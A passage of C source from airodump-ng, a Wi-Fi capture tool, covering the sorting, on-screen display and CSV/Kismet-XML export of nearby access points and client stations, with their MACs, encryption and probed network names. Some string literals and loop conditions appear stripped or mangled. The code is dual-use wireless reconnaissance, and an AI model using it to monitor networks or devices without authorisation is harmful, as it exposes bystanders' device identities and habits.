ap_min->prev = NULL; } } G.ap_1st = new_ap_1st; G.ap_end = new_ap_end; /* now sort the stations */ while( G.st_1st ) { st_min = NULL; st_cur = G.st_1st; while( st_cur != NULL ) { if( tt - st_cur->tlast > 60 ) st_min = st_cur; st_cur = st_cur->next; } if( st_min == NULL ) { st_min = st_cur = G.st_1st; while( st_cur != NULL ) { if( st_cur->power < st_min->power) st_min = st_cur; st_cur = st_cur->next; } } if( st_min == G.st_1st ) G.st_1st = st_min->next; if( st_min == G.st_end ) G.st_end = st_min->prev; if( st_min->next ) st_min->next->prev = st_min->prev; if( st_min->prev ) st_min->prev->next = st_min->next; if( new_st_end ) { new_st_end->next = st_min; st_min->prev = new_st_end; new_st_end = st_min; new_st_end->next = NULL; } else { new_st_1st = new_st_end = st_min; st_min->next = st_min->prev = NULL; } } G.st_1st = new_st_1st; G.st_end = new_st_end; } int getBatteryState() { return get_battery_state(); } char * getStringTimeFromSec(double seconds) { int hour[3]; char * ret; char * HourTime; char * MinTime; if (seconds <0) return NULL; ret = (char *) calloc(1,256); HourTime = (char *) calloc (1,128); MinTime = (char *) calloc (1,128); hour[0] = (int) (seconds); hour[1] = hour[0] / 60; hour[2] = hour[1] / 60; hour[0] %= 60 ; hour[1] %= 60 ; if (hour[2] != 0 ) snprintf(HourTime, 128, "%d %s", hour[2], ( hour[2] == 1 ) ? "hour" : "hours"); if (hour[1] != 0 ) snprintf(MinTime, 128, "%d %s", hour[1], ( hour[1] == 1 ) ? "min" : "mins"); if ( hour[2] != 0 && hour[1] != 0 ) snprintf(ret, 256, "%s %s", HourTime, MinTime); else { if (hour[2] == 0 && hour[1] == 0) snprintf(ret, 256, "%d s", hour[0] ); else snprintf(ret, 256, "%s", (hour[2] == 0) ? MinTime : HourTime ); } free(MinTime); free(HourTime); return ret; } char * getBatteryString(void) { int batt_time; char * ret; char * batt_string; batt_time = getBatteryState(); if ( batt_time <= 60 ) { ret = (char *) calloc(1,2); ret[0] = ']'; return ret; } batt_string = getStringTimeFromSec( (double) batt_time ); ret = (char *) calloc( 1, 256 ); snprintf( ret, 256, "][ BAT: %s ]", batt_string ); free( batt_string); return ret; } int get_ap_list_count() { time_t tt; struct tm *lt; struct AP_info *ap_cur; int num_ap; tt = time( NULL ); lt = localtime( &tt ); ap_cur = G.ap_end; num_ap = 0; while( ap_cur != NULL ) { /* skip APs with only one packet, or those older than 2 min. * always skip if bssid == broadcast */ if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } num_ap++; ap_cur = ap_cur->prev; } return num_ap; } int get_sta_list_count() { time_t tt; struct tm *lt; struct AP_info *ap_cur; struct ST_info *st_cur; int num_sta; tt = time( NULL ); lt = localtime( &tt ); ap_cur = G.ap_end; num_sta = 0; while( ap_cur != NULL ) { if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } st_cur = G.st_end; while( st_cur != NULL ) { if( st_cur->base != ap_cur || time( NULL ) - st_cur->tlast > G.berlin ) { st_cur = st_cur->prev; continue; } if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client ) { st_cur = st_cur->prev; continue; } num_sta++; st_cur = st_cur->prev; } ap_cur = ap_cur->prev; } return num_sta; } void dump_print( int ws_row, int ws_col, int if_num ) { time_t tt; struct tm *lt; int nlines, i, n, len; char strbuf[512]; char buffer[512]; char ssid_list[512]; struct AP_info *ap_cur; struct ST_info *st_cur; struct NA_info *na_cur; int columns_ap = 83; int columns_sta = 74; int columns_na = 68; int num_ap; int num_sta; if(!G.singlechan) columns_ap -= 4; //no RXQ in scan mode nlines = 2; if( nlines >= ws_row ) return; if(G.do_sort_always) { pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } tt = time( NULL ); lt = localtime( &tt ); if(G.is_berlin) { G.maxaps = 0; G.numaps = 0; ap_cur = G.ap_end; while( ap_cur != NULL ) { G.maxaps++; if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } G.numaps++; ap_cur = ap_cur->prev; } if(G.numaps > G.maxnumaps) G.maxnumaps = G.numaps; // G.maxaps--; } /* * display the channel, battery, position (if we are connected to GPSd) * and current time */ memset( strbuf, '\0', sizeof(strbuf) ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); if(G.freqoption) { snprintf(strbuf, sizeof(strbuf)-1, " Freq %4d", G.frequency[0]); for(i=1; itm_year, 1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min ); } else { snprintf( buffer, sizeof( buffer ) - 1, " %s[ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ", G.batt, G.elapsed_time, 1900 + lt->tm_year, 1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min ); } strncat(strbuf, buffer, (512-strlen(strbuf))); memset( buffer, '\0', 512 ); if(G.is_berlin) { snprintf( buffer, sizeof( buffer ) - 1, " ][%3d/%3d/%4d ", G.numaps, G.maxnumaps, G.maxaps); } strncat(strbuf, buffer, (512-strlen(strbuf))); memset( buffer, '\0', 512 ); if(strlen(G.message) > 0) { strncat(strbuf, G.message, (512-strlen(strbuf))); } //add traling spaces to overwrite previous messages strncat(strbuf, " ", (512-strlen(strbuf))); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); /* print some informations about each detected AP */ nlines += 3; if( nlines >= ws_row ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); if(G.show_ap) { if(G.singlechan) { memcpy( strbuf, " BSSID PWR RXQ Beacons" " #Data, #/s CH MB ENC CIPHER AUTH ESSID", columns_ap ); } else { memcpy( strbuf, " BSSID PWR Beacons" " #Data, #/s CH MB ENC CIPHER AUTH ESSID", columns_ap ); } strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); ap_cur = G.ap_end; if(G.selection_ap) { num_ap = get_ap_list_count(); if(G.selected_ap > num_ap) G.selected_ap = num_ap; } if(G.selection_sta) { num_sta = get_sta_list_count(); if(G.selected_sta > num_sta) G.selected_sta = num_sta; } num_ap = 0; if(G.selection_ap) { G.start_print_ap = G.selected_ap - ((ws_row-1) - nlines) + 1; if(G.start_print_ap < 1) G.start_print_ap = 1; // printf("%i\n", G.start_print_ap); } while( ap_cur != NULL ) { /* skip APs with only one packet, or those older than 2 min. * always skip if bssid == broadcast */ if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } num_ap++; if(num_ap < G.start_print_ap) { ap_cur = ap_cur->prev; continue; } nlines++; if( nlines > (ws_row-1) ) return; memset(strbuf, '\0', sizeof(strbuf)); snprintf( strbuf, sizeof(strbuf), " %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); len = strlen(strbuf); if(G.singlechan) { snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %3d %8ld %8ld %4d", ap_cur->avg_power, ap_cur->rx_quality, ap_cur->nb_bcn, ap_cur->nb_data, ap_cur->nb_dataps ); } else { snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %8ld %8ld %4d", ap_cur->avg_power, ap_cur->nb_bcn, ap_cur->nb_data, ap_cur->nb_dataps ); } len = strlen(strbuf); snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %3d%c%c ", ap_cur->channel, ap_cur->max_speed, ( ap_cur->security & STD_QOS ) ? 'e' : ' ', ( ap_cur->preamble ) ? '.' : ' '); len = strlen(strbuf); if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) snprintf( strbuf+len, sizeof(strbuf)-len, " " ); else if( ap_cur->security & STD_WPA2 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA2" ); else if( ap_cur->security & STD_WPA ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA " ); else if( ap_cur->security & STD_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP " ); else if( ap_cur->security & STD_OPN ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN " ); strncat( strbuf, " ", sizeof(strbuf)-1); len = strlen(strbuf); if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, " "); else if( ap_cur->security & ENC_CCMP ) snprintf( strbuf+len, sizeof(strbuf)-len, "CCMP "); else if( ap_cur->security & ENC_WRAP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WRAP "); else if( ap_cur->security & ENC_TKIP ) snprintf( strbuf+len, sizeof(strbuf)-len, "TKIP "); else if( ap_cur->security & ENC_WEP104 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP104 "); else if( ap_cur->security & ENC_WEP40 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP40 "); else if( ap_cur->security & ENC_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP "); len = strlen(strbuf); if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, " "); else if( ap_cur->security & AUTH_MGT ) snprintf( strbuf+len, sizeof(strbuf)-len, "MGT"); else if( ap_cur->security & AUTH_PSK ) { if( ap_cur->security & STD_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "SKA"); else snprintf( strbuf+len, sizeof(strbuf)-len, "PSK"); } else if( ap_cur->security & AUTH_OPN ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN"); len = strlen(strbuf); strbuf[ws_col-1] = '\0'; if(G.selection_ap && ((num_ap) == G.selected_ap)) { if(G.mark_cur_ap) { if(ap_cur->marked == 0) { ap_cur->marked = 1; } else { ap_cur->marked_color++; if(ap_cur->marked_color > (TEXT_MAX_COLOR-1)) { ap_cur->marked_color = 1; ap_cur->marked = 0; } } G.mark_cur_ap = 0; } textstyle(TEXT_REVERSE); memcpy(G.selected_bssid, ap_cur->bssid, 6); } if(ap_cur->marked) { textcolor_fg(ap_cur->marked_color); } fprintf(stderr, "%s", strbuf); if( ws_col > (columns_ap - 4) ) { memset( strbuf, 0, sizeof( strbuf ) ); if(ap_cur->essid[0] != 0x00) { snprintf( strbuf, sizeof( strbuf ) - 1, "%-256s", ap_cur->essid ); } else { snprintf( strbuf, sizeof( strbuf ) - 1, "%-256s", ap_cur->ssid_length, "\x00" ); } strbuf[ws_col - (columns_ap - 4)] = '\0'; fprintf( stderr, " %s", strbuf ); } fprintf( stderr, "\n" ); if( (G.selection_ap && ((num_ap) == G.selected_ap)) || (ap_cur->marked) ) { textstyle(TEXT_RESET); } ap_cur = ap_cur->prev; } /* print some informations about each detected station */ nlines += 3; if( nlines >= (ws_row-1) ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); } if(G.show_sta) { memcpy( strbuf, " BSSID STATION " " PWR Rate Lost Packets Probes", columns_sta ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); ap_cur = G.ap_end; num_sta = 0; while( ap_cur != NULL ) { if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } if( nlines >= (ws_row-1) ) return; st_cur = G.st_end; if(G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) { textstyle(TEXT_REVERSE); } if(ap_cur->marked) { textcolor_fg(ap_cur->marked_color); } while( st_cur != NULL ) { if( st_cur->base != ap_cur || time( NULL ) - st_cur->tlast > G.berlin ) { st_cur = st_cur->prev; continue; } if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client ) { st_cur = st_cur->prev; continue; } num_sta++; if(G.start_print_sta > num_sta) continue; nlines++; if( ws_row != 0 && nlines >= ws_row ) return; if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) ) fprintf( stderr, " (not associated) " ); else fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); fprintf( stderr, " %3d ", st_cur->power ); fprintf( stderr, " %2d", st_cur->rate_to/1000000 ); fprintf( stderr, "%c", (st_cur->qos_fr_ds) ? 'e' : ' '); fprintf( stderr, "-%2d", st_cur->rate_from/1000000); fprintf( stderr, "%c", (st_cur->qos_to_ds) ? 'e' : ' '); fprintf( stderr, " %4d", st_cur->missed ); fprintf( stderr, " %8ld", st_cur->nb_pkt ); if( ws_col > (columns_sta - 6) ) { memset( ssid_list, 0, sizeof( ssid_list ) ); for( i = 0, n = 0; i < NB_PRB; i++ ) { if( st_cur->probes[i][0] == '\0' ) continue; snprintf( ssid_list + n, sizeof( ssid_list ) - n - 1, "%c%s", ( i > 0 ) ? ',' : ' ', st_cur->probes[i] ); n += ( 1 + strlen( st_cur->probes[i] ) ); if( n >= (int) sizeof( ssid_list ) ) break; } memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "%-256s", ssid_list ); strbuf[ws_col - (columns_sta - 6)] = '\0'; fprintf( stderr, " %s", strbuf ); } fprintf( stderr, "\n" ); st_cur = st_cur->prev; } if( (G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) || (ap_cur->marked) ) { textstyle(TEXT_RESET); } ap_cur = ap_cur->prev; } } if(G.show_ack) { /* print some informations about each unknown station */ nlines += 3; if( nlines >= (ws_row-1) ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memcpy( strbuf, " MAC " " CH PWR ACK ACK/s CTS RTS_RX RTS_TX OTHER", columns_na ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); na_cur = G.na_1st; while( na_cur != NULL ) { if( time( NULL ) - na_cur->tlast > 120 ) { na_cur = na_cur->next; continue; } if( nlines >= (ws_row-1) ) return; nlines++; if( ws_row != 0 && nlines >= ws_row ) return; fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", na_cur->namac[0], na_cur->namac[1], na_cur->namac[2], na_cur->namac[3], na_cur->namac[4], na_cur->namac[5] ); fprintf( stderr, " %3d", na_cur->channel ); fprintf( stderr, " %3d", na_cur->power ); fprintf( stderr, " %6d", na_cur->ack ); fprintf( stderr, " %4d", na_cur->ackps ); fprintf( stderr, " %6d", na_cur->cts ); fprintf( stderr, " %6d", na_cur->rts_r ); fprintf( stderr, " %6d", na_cur->rts_t ); fprintf( stderr, " %6d", na_cur->other ); fprintf( stderr, "\n" ); na_cur = na_cur->next; } } } int dump_write_csv( void ) { int i, j, n; struct tm *ltime; char ssid_list[512]; struct AP_info *ap_cur; struct ST_info *st_cur; if (! G.record_data || !G.output_format_csv) return 0; fseek( G.f_txt, 0, SEEK_SET ); fprintf( G.f_txt, "\r\nBSSID, First time seen, Last time seen, channel, Speed, " "Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key\r\n" ); ap_cur = G.ap_1st; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if( ap_cur->nb_pkt < 2 ) { ap_cur = ap_cur->next; continue; } fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); ltime = localtime( &ap_cur->tinit ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); ltime = localtime( &ap_cur->tlast ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); fprintf( G.f_txt, "%2d, %3d, ", ap_cur->channel, ap_cur->max_speed ); if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) fprintf( G.f_txt, " " ); else { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_txt, "WPA2" ); if( ap_cur->security & STD_WPA ) fprintf( G.f_txt, "WPA " ); if( ap_cur->security & STD_WEP ) fprintf( G.f_txt, "WEP " ); if( ap_cur->security & STD_OPN ) fprintf( G.f_txt, "OPN " ); } fprintf( G.f_txt, ","); if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_txt, " "); else { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_txt, " CCMP"); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_txt, " WRAP"); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_txt, " TKIP"); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_txt, " WEP104"); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_txt, " WEP40"); if( ap_cur->security & ENC_WEP ) fprintf( G.f_txt, " WEP"); } fprintf( G.f_txt, ","); if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) fprintf( G.f_txt, " "); else { if( ap_cur->security & AUTH_MGT ) fprintf( G.f_txt, " MGT"); if( ap_cur->security & AUTH_PSK ) { if( ap_cur->security & STD_WEP ) fprintf( G.f_txt, "SKA"); else fprintf( G.f_txt, "PSK"); } if( ap_cur->security & AUTH_OPN ) fprintf( G.f_txt, " OPN"); } fprintf( G.f_txt, ", %3d, %8ld, %8ld, ", ap_cur->avg_power, ap_cur->nb_bcn, ap_cur->nb_data ); fprintf( G.f_txt, "%3d.%3d.%3d.%3d, ", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); fprintf( G.f_txt, "%3d, ", ap_cur->ssid_length); for(i=0; issid_length; i++) { fprintf( G.f_txt, "%c", ap_cur->essid[i] ); } fprintf( G.f_txt, ", " ); if(ap_cur->key != NULL) { for(i=0; i<(int)strlen(ap_cur->key); i++) { fprintf( G.f_txt, "%02X", ap_cur->key[i]); if(i<(int)(strlen(ap_cur->key)-1)) fprintf( G.f_txt, ":"); } } fprintf( G.f_txt, "\r\n"); ap_cur = ap_cur->next; } fprintf( G.f_txt, "\r\nStation MAC, First time seen, Last time seen, " "Power, # packets, BSSID, Probed ESSIDs\r\n" ); st_cur = G.st_1st; while( st_cur != NULL ) { ap_cur = st_cur->base; if( ap_cur->nb_pkt < 2 ) { st_cur = st_cur->next; continue; } fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); ltime = localtime( &st_cur->tinit ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); ltime = localtime( &st_cur->tlast ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); fprintf( G.f_txt, "%3d, %8ld, ", st_cur->power, st_cur->nb_pkt ); if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) ) fprintf( G.f_txt, "(not associated) ," ); else fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X,", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); memset( ssid_list, 0, sizeof( ssid_list ) ); for( i = 0, n = 0; i < NB_PRB; i++ ) { if( st_cur->probes[i][0] == '\0' ) continue; snprintf( ssid_list + n, sizeof( ssid_list ) - n - 1, "%c", ( i > 0 ) ? ',' : ' ' ); for(j=0; jssid_length[i]; j++) { snprintf( ssid_list + n + 1 + j, sizeof( ssid_list ) - n - 2 - j, "%c", st_cur->probes[i][j]); } n += ( 1 + st_cur->ssid_length[i] ); if( n >= (int) sizeof( ssid_list ) ) break; } fprintf( G.f_txt, "%s\r\n", ssid_list ); st_cur = st_cur->next; } fprintf( G.f_txt, "\r\n" ); fflush( G.f_txt ); return 0; } char * sanitize_xml(unsigned char * text, int length) { int i; size_t len; char * pos; char * newpos; char * newtext = NULL; if (text != NULL && length > 0) { len = 5 * length; newtext = (char *)calloc(1, (len + 1) * sizeof(char)); // Make sure we have enough space pos = (char *)text; for (i = 0; i < length; ++i, ++pos) { switch (*pos) { case '&': strncat(newtext, "&", len); break; case '<': strncat(newtext, "<", len); break; case '>': strncat(newtext, ">", len); break; default: if (isprint((int)(*pos))) { newtext[strlen(newtext)] = *pos; } else { newtext[strlen(newtext)] = '\\'; newpos = newtext + strlen(newtext); snprintf(newpos, strlen(newpos) + 1, "%3u", *pos); } break; } } newtext = (char *) realloc(newtext, strlen(newtext) + 1); } return newtext; } #define OUI_STR_SIZE 8 #define MANUF_SIZE 128 char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2) { char oui[OUI_STR_SIZE + 1]; char *manuf; //char *buffer_manuf; char * manuf_str; struct oui *ptr; FILE *fp; char buffer[BUFSIZ]; char temp[OUI_STR_SIZE + 1]; unsigned char a[2]; unsigned char b[2]; unsigned char c[2]; int found = 0; if ((manuf = (char *)calloc(1, MANUF_SIZE * sizeof(char))) == NULL) { perror("calloc failed"); return NULL; } snprintf(oui, sizeof(oui), "%02X:%02X:%02X", mac0, mac1, mac2 ); if (G.manufList != NULL) { // Search in the list ptr = G.manufList; while (ptr != NULL) { found = ! strncasecmp(ptr->id, oui, OUI_STR_SIZE); if (found) { memcpy(manuf, ptr->manuf, MANUF_SIZE); break; } ptr = ptr->next; } } else { // If the file exist, then query it each time we need to get a manufacturer. fp = fopen(OUI_PATH, "r"); if (fp != NULL) { memset(buffer, 0x00, sizeof(buffer)); while (fgets(buffer, sizeof(buffer), fp) != NULL) { if (strstr(buffer, "(hex)") == NULL) { continue; } memset(a, 0x00, sizeof(a)); memset(b, 0x00, sizeof(b)); memset(c, 0x00, sizeof(c)); if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) { snprintf(temp, sizeof(temp), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1] ); found = !memcmp(temp, oui, strlen(oui)); if (found) { manuf_str = get_manufacturer_from_string(buffer); if (manuf_str != NULL) { snprintf(manuf, MANUF_SIZE, "%s", manuf_str); free(manuf_str); } break; } } memset(buffer, 0x00, sizeof(buffer)); } fclose(fp); } } // Not found, use "Unknown". if (!found || *manuf == '\0') { memcpy(manuf, "Unknown", 7); manuf[strlen(manuf)] = '\0'; } manuf = (char *)realloc(manuf, (strlen(manuf) + 1) * sizeof(char)); return manuf; } #undef OUI_STR_SIZE #undef MANUF_SIZE #define KISMET_NETXML_HEADER_BEGIN "\n\n\n\n\n" #define KISMET_NETXML_TRAILER "" #define TIME_STR_LENGTH 255 int dump_write_kismet_netxml( void ) { int network_number, average_power, client_nbr; int client_max_rate, unused; struct AP_info *ap_cur; struct ST_info *st_cur; char first_time[TIME_STR_LENGTH]; char last_time[TIME_STR_LENGTH]; char * essid = NULL; if (! G.record_data || !G.output_format_kismet_netxml) return 0; fseek( G.f_kis_xml, 0, SEEK_SET ); /* Header and airodump-ng start time */ fprintf( G.f_kis_xml, "%s%s%s", KISMET_NETXML_HEADER_BEGIN, G.airodump_start_time, KISMET_NETXML_HEADER_END ); ap_cur = G.ap_1st; network_number = 0; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } /* XXX: Maybe this check should be removed */ if( ap_cur->nb_pkt < 2 ) { ap_cur = ap_cur->next; continue; } ++network_number; // Network Number strncpy(first_time, ctime(&ap_cur->tinit), TIME_STR_LENGTH - 1); first_time[strlen(first_time) - 1] = 0; // remove new line strncpy(last_time, ctime(&ap_cur->tlast), TIME_STR_LENGTH - 1); last_time[strlen(last_time) - 1] = 0; // remove new line fprintf(G.f_kis_xml, "\t\n", first_time, last_time); fprintf(G.f_kis_xml, "\t\t\n", first_time, last_time); fprintf(G.f_kis_xml, "\t\t\tBeacon\n" ); fprintf(G.f_kis_xml, "\t\t\t%d.000000\n", ap_cur->max_speed ); fprintf(G.f_kis_xml, "\t\t\t%ld\n", ap_cur->nb_bcn ); fprintf(G.f_kis_xml, "\t\t\t%d\n", 10 ); fprintf(G.f_kis_xml, "\t\t\t"); //Encryption if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) != 0) { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_kis_xml, "WPA2 " ); if( ap_cur->security & STD_WPA ) fprintf( G.f_kis_xml, "WPA " ); if( ap_cur->security & STD_WEP ) fprintf( G.f_kis_xml, "WEP " ); if( ap_cur->security & STD_OPN ) fprintf( G.f_kis_xml, "OPN " ); } if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) != 0 ) { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_kis_xml, "AES-CCM"); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_kis_xml, "WRAP"); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_kis_xml, "TKIP"); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis_xml, "WEP104"); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_kis_xml, "WEP40"); /* if( ap_cur->security & ENC_WEP ) fprintf( G.f_kis, " WEP");*/ } fprintf(G.f_kis_xml, "\n"); /* ESSID */ fprintf(G.f_kis_xml, "\t\t\t", (ap_cur->essid[0] == 0) ? "true" : "false"); essid = sanitize_xml(ap_cur->essid, ap_cur->ssid_length); if (essid != NULL) { fprintf(G.f_kis_xml, "%s", essid); free(essid); } fprintf(G.f_kis_xml, "\n"); /* End of SSID tag */ fprintf(G.f_kis_xml, "\t\t\n"); /* BSSID */ fprintf( G.f_kis_xml, "\t\t%02X:%02X:%02X:%02X:%02X:%02X\n", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); /* Manufacturer, if set using standard oui list */ fprintf(G.f_kis_xml, "\t\t%s\n", (ap_cur->manuf != NULL) ? ap_cur->manuf : "Unknown"); /* Channel FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t%d\n", ap_cur->channel); /* Freq (in Mhz) and total number of packet on that frequency FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t%d %ld\n", getFrequencyFromChannel(ap_cur->channel), //ap_cur->nb_data + ap_cur->nb_bcn ); ap_cur->nb_pkt ); /* XXX: What about 5.5Mbit */ fprintf(G.f_kis_xml, "\t\t%d\n", ap_cur->max_speed * 1000); /* Packets */ fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%ld\n" "\t\t\t%ld\n" "\t\t\t0\n" "\t\t\t%ld\n" "\t\t\t0\n" "\t\t\t0\n" "\t\t\n", ap_cur->nb_bcn, ap_cur->nb_data, //ap_cur->nb_data + ap_cur->nb_bcn ); ap_cur->nb_pkt ); /* * XXX: What does that field mean? Is it the total size of data? * It seems that 'd' is appended at the end for clients, why? */ fprintf(G.f_kis_xml, "\t\t0\n"); /* Client information */ st_cur = G.st_1st; client_nbr = 0; while ( 